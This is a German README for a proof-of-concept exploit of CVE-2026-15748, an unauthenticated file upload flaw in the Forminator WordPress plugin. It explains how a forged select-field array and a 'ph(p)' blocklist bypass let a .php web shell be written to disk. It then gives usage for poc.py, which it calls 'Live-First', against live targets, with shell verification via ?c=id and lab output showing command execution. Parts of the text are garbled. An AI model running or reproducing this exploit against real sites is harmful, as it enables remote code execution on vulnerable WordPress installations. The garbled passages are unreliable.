
Forminator Forms <= 1.56.1 – Nicht authentifizierter beliebiger Datei-Upload über manipulierte Upload-Feld-Konfiguration
CVSS 9.8 (Kritisch) · Betroffen: Forminator <= 1.56.1 · Behoben: 1.56.2
Forscher: daroo (Wordfence Bug Bounty, $2.048) · ~600.000 aktive Installationen
Write-up: wordfence.com/blog/2026/08/600000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-forminator-forms-wordpress-plugin/
Drei Schwachstellen, verknüpft über einen gefälschten Wert des Select-Felds:
Keine Bereinigung verschachtelter Feld-Arrays — Forminator_CForm_Front_Action::set_field_data()
prepare_fields_info() iteriert über jedes gespeicherte Feld. Für das gespeicherte Select-Feld select-1
ist $field_data = prepared_data['select-1'] ein angreiferkontrolliertes verschachteltes Array. Wenn es
enthält, wird das Array im Ganzen an angehängt (front-action.php ~Zeile 1088),
noch bevor eine bereinigende/validierende Verarbeitung pro Feld erfolgt.
entfernt diese nicht.
returnfield_data_arraymaybe_handle_custom_option()Nicht vertrauenswürdige Feldkonfiguration wird beim Upload als vertrauenswürdig behandelt — Forminator_CForm_Front_Action::process_uploads()
iteriert über field_data_array, vertraut dem gefälschten field_type == 'upload', verwendet den gefälschten
name, um einen $_FILES-Eingang auszuwählen, und übergibt das gefälschte field_array als vertrauenswürdige
Konfiguration an Forminator_Upload::handle_file_upload().
Exact-Key-Bypass der Blockliste — forminator_allowed_mime_types() entfernt den wörtlichen Schlüssel php,
aber wp_check_filetype() behandelt Schlüssel als Regex. Der Schlüssel ph(p) übersteht die Blockliste und
matcht dennoch den .php-Suffix. additional-type = ph(p)|text/x-php lässt eine .php-Datei die Validierung passieren.
Ein veröffentlichtes Formular muss sowohl ein Datei-Upload-Feld als auch ein Select-Feld enthalten. Select ist nur der Träger.
.php-Dateien auf die Festplatte gelingt standardmäßig (für das Schreiben ist keine besondere Konfiguration erforderlich)..htaccess fehlt. Sowohl das Standard-Rootverzeichnis von Forminator als auch ein benutzerdefiniertes Rootverzeichnis erhalten eine .htaccess, die PHP blockiert (SetHandler none / RemoveHandler). RCE greift nur, wenn diese .htaccess fehlt — das Szenario des Write-ups: „ein benutzerdefiniertes Speicher-Rootverzeichnis, das während einer Frontend-Anfrage erstellt wird, in der insert_with_markers() nicht geladen ist“..htaccess simuliert haben.wp-content/uploads/forminator/ → Datei unter
wp-content/uploads/forminator/{form_id}_{hash}/uploads/<file>.forminator_custom_upload_root gesetzt hat (z. B. cveuploads), landen Dateien unter
wp-content/uploads/cveuploads/{form_id}_{hash}/uploads/<file>.<hash> ist wp_hash($form_id) — abgeleitet aus den AUTH-Salts der Site, also extern nicht vorhersagbar.
poc.py gibt das Pfadmuster aus; um es zu vervollständigen, muss der Hash wiederhergestellt werden (Verzeichnislisting,
URL/Log einer bereits hochgeladenen Datei, ein Eintrag im Adminbereich usw.) über --form-hash.wp_generate_password(12,false,false) . '-' . <original> → z. B.
cX3fRjMDDu03-shell.php (12 zufällige alphanumerische Zeichen + - + Originalname).poc.pyDesignbedingt Live-First; Helfer fürs lokale Labor (Dateisystem-Scan, .htaccess-Entfernung) sind ausschließlich auf
http://wordpresslab.test / http://localhost beschränkt.
# A) Simplest (auto-discover): fetch page, parse nonce/form_id/fields, auto-fill, upload
python3 poc.py --target https://site.tld/ # url-only -> fetches index
python3 poc.py --target https://site.tld/kontak # path given -> fetches that page
python3 poc.py --target https://site.tld/ --page-id 42 # append ?page_id=42
# B) Manual nonce/form-id (skip discovery, still fetches page for --auto harvest)
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303
# C) Verify a candidate shell URL on a live target
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303 \
--verify-url "https://site.tld/wp-content/uploads/forminator/4840_<hash>/uploads/<12char>-shell.php"
# D) local lab: full RCE (scans container FS, removes .htaccess, executes)
python3 poc.py --target http://wordpresslab.test --page-id 32 --find-shell
| Flag | Bedeutung |
|---|---|
--target | Basis-URL (oder vollständige Seiten-URL, wenn kein --page-id/manuelle Angabe) |
--page-id | Beitrags-ID; wenn leer, wird die Ziel-URL selbst nach nonce/form_id durchsucht |
--form-id, --nonce | Discovery umgehen; ruft die Seite trotzdem für die --auto-Ernte ab |
--upload-field | Name des echten Upload-Felds (Standard upload-1) |
--forge-name | Gefälschter $_FILES-Träger (Standard = echter Name, Kollisionsmodus; für ein sauberes success=True einen abweichenden Namen verwenden) |
--select | Zu verwendendes Select-Feld (Standard select-1) |
--extra name=value | Einen Feldwert erzwingen (wiederholbar; --extra 'checkbox-1[]=a+b' für mehrere Werte) |
--auto / --no-auto | Echte Formularfelder aus dem HTML auslesen und plausible Werte nach Typ automatisch ausfüllen (Standard: aktiv) |
--upload-root | Relatives Upload-Rootverzeichnis (Standard wp-content/uploads/forminator; für ein benutzerdefiniertes Rootverzeichnis z. B. wp-content/uploads/cveuploads setzen) |
--form-hash | Der <hash>-Teil des Upload-Verzeichnisses → vervollständigt/gibt eine konkrete URL aus |
--verify-url | Live: Kandidaten-Shell-URL mit ?c=id/?c=whoami testen |
--find-shell | Nur lokal (wordpresslab.test/localhost): neueste *-shell.php finden, .htaccess entfernen, ausführen |
--no-htaccess | Hinweis zur .htaccess-Entfernung im lokalen Labor ausgeben |
--auto-Wertzuordnung (aus dem Formular-HTML ausgelesen)| Feldtyp | Erzeugter Wert |
|---|---|
email / Name enthält email | auto<rand>@mailinator.com |
tel / Name enthält phone | 10 zufällige Ziffern |
url / Name enthält url | https://example.com/<rand> |
number | zufällig 1–9999 |
date | 2026-08-19 |
Checkbox-/Radio-Gruppe name[] | erster Optionswert (alle Eingaben mit demselben Namen werden gescannt) |
| einzelne Checkbox/Radio | value-Attribut, Fallback checked |
<select> (nicht Träger) | erste nicht-leere Option |
<textarea> | zufälliger Text |
| Klartext | 10 zufällige Zeichen |
Übersprungen: interne Felder (action/form_id/nonce/...), type="file" (upload-*), select-*
(Exploit-Träger), calculation-* (berechnet) sowie Felder fremder Plugins (wpforms[...]).
Setup:
build_form.php,
Forminator_Form_Model-API).forminator_custom_upload=1,
forminator_custom_upload_root=cveuploads), damit wir RCE demonstrieren können. cveuploads/ ist ein
Labor-Artefakt, kein Forminator-Standard.success=True sollte sich der gefälschte name vom element_id des echten
Upload-Felds unterscheiden. Ein kollidierender Name lädt die Datei zwar trotzdem hoch, aber das echte Feld führt
zusätzlich seine eigene Standard-MIME-Prüfung aus → die Antwort meldet einen Fehler, während die Shell bereits auf
der Festplatte liegt.Rohausgabe (Laborlauf):
# default path pattern (hash is site-secret):
wp-content/uploads/forminator/<form_id>_<hash>/uploads/<12char>-shell.php
[+] shell at: http://wordpresslab.test/wp-content/uploads/cveuploads/31_8e64.../uploads/cX3fRjMDDu03-shell.php
?c=id -> CVE-2026-15748-RCE uid=33(www-data) gid=33(www-data) groups=33(www-data)
?c=whoami -> CVE-2026-15748-RCE www-data
# .htaccess present (protected): request returns raw PHP source (not executed)
poc.py — Live-First-PoC (Auto-Discovery, Auto-Ausfüllen, verify-url, lokaler RCE-Helfer)build_form.php — programmatischer Labor-Formular-Builder (Upload + Select) über die Modell-APIREADME.md — dieses Dokument.htaccess-/Index-Schutzmechanismen von Forminator abgedeckt ist.